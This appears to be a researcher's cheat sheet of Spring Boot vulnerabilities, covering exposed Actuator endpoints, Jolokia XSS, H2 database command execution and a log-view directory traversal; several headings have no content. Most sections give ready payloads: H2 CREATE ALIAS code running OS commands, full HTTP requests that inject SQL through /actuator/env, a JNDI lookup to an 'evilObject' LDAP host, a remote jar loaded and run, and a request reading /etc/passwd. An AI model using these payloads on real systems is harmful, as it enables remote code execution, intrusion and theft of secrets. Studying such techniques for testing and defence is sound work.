Spring Boot Vulnerability (Keep On Updating)

0x01 Spring Boot Actuator Exposed

Actuator endpoints allow you to monitor and interact with your Spring application. Spring Boot includes a number of built-in endpoints and you can also add your own. For example the health endpoint provides basic application health information. The following endpoints are available:

• /autoconfig - Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied.

• /beans - Displays a complete list of all the Spring beans in your application.

• /configprops - Displays a collated list of all @ConfigurationProperties.

• /dump - Performs a thread dump.

• /heapdump - JVM heap dump information. Actually it is a binary file, you can utilize the tool named MemoryAnalyzer to analyze the file. Sometimes in this file maybe you can find PASSWORD / ACCESS_KEY / COOKIES / ACCESS_TOKEN or some sensitive information.

• /env - Exposes properties from Spring's ConfigurableEnvironment.

• /health - Shows application health information (a simple 'status' when accessed over an unauthenticated connection or full message details when authenticated).

• /info - Displays arbitrary application info.

• /metrics - Shows 'metrics' information for the current application.

• /mappings - Displays a collated list of all @RequestMapping paths.

• /shutdown - Allows the application to be gracefully shutdown (not enabled by default).

• /pause - Allows the application to be gracefully pause (not enabled by default).

• /resume - Allows the application to be gracefully resume (not enabled by default).

• /trace - Displays trace information (by default the last few HTTP requests).

0x02 Spring Boot RCE/XSS involving Jolokia

0x001 Jolokia RCE

0x002 Jolokia XSS fixed since Jolokia 1.5.0 (CVE-2018-1000129)

pom.xml

        <dependency>
            <groupId>org.jolokia</groupId>
            <artifactId>jolokia-core</artifactId>
            <version>1.4.0</version>
        </dependency>

When visiting URL http://127.0.0.1:10090/actuator/jolokia/read%3Csvg%20onload=alert('xss')%3E?mimeType=text/html

0x03 Spring Boot RCE involving H2 Database JNDI Injection

pom.xml

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-jpa</artifactId>
    <version>2.2.6.RELEASE</version>
</dependency>

<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
    <version>1.4.2</version>
</dependency>

application.properties

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

You can visit /actutor/env to make sure H2 Console is enabled.

Example 1: Execute open -a Calculator Command

0x04 Spring Boot RCE involving H2 Database ALIAS Command

Example 1: Execute id Command

CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

CALL EXECMD('id')

Example 2: Execute open -a Calculator Command

CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;

CALL EXECMD('open -a Calculator');

0x05 Spring Boot RCE involving JMX enabled

When visiting URL http://127.0.0.1:10090/actuator/env/spring.jmx.enabled, you will find JMX is enabled.

Example 1: Execute open -a Calculator Command

0x06 Spring Boot RCE involving H2 Database

0x001 Remote Code Execution via spring.datasource.hikari.connection-test-queryorspring.datasource.hikari.connection-init-sql

Example 1: spring.datasource.hikari.connection-init-sql

Step 1:

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 280

{"sourceType": "com.zaxxer.hikari.HikariDataSource","name":"spring.datasource.hikari.connection-init-sql","value":"CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;CALL EXECMD('open -a Calculator');"}

Step 2:

POST /actuator/restart HTTP/1.1

0x002 JNDI Injection

Step 1:

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6
Connection: close
Content-Length: 320

{
  "name": "spring.datasource.hikari.connection-init-sql",
  "value": "CREATE ALIAS jndi AS $$ import javax.naming.InitialContext;@CODE String jndi(String url) throws Exception {new InitialContext().lookup(url);return null;}$$;CALL jndi('ldap://127.0.0.1:1389/evilObject');"
}

Step 2:

POST /actuator/restart HTTP/1.1

0x003 URL Classloader

Step 1:

POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6
Connection: close
Content-Length: 320

{
  "name": "spring.datasource.hikari.connection-init-sql",
  "value": "CREATE ALIAS remoteUrl AS $$ import java.net.*;@CODE String remoteUrl() throws Exception { Class.forName (\"pop\", true, new URLClassLoader(new URL[]{new URL(\"http://127.0.0.1:9001/pop.jar\")})).newInstance();return null;}$$;CALL remoteUrl()"
}

Step 2:

POST /actuator/restart HTTP/1.1

0x07 Spring Boot RCE involving MyBatis (CVE-2020-26945)

0x08 Spring Boot Actuator Logview Directory Traversal (CVE-2021-21234)

Set Break Piont At securityCheck()

Construct Directory Traversal Request URL

http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../

Step Into

Step Into

spring.log/../../../../../ as folder, and /etc/passwd is the file we want

Step Into

In toFile() , the folder spring.log/../../../../../ and the file /etc/passwd will be concated as path without securityCheck()

Retreive the content of file /etc/passwd

0x09 Spring Boot Log4j2 JNDI Injection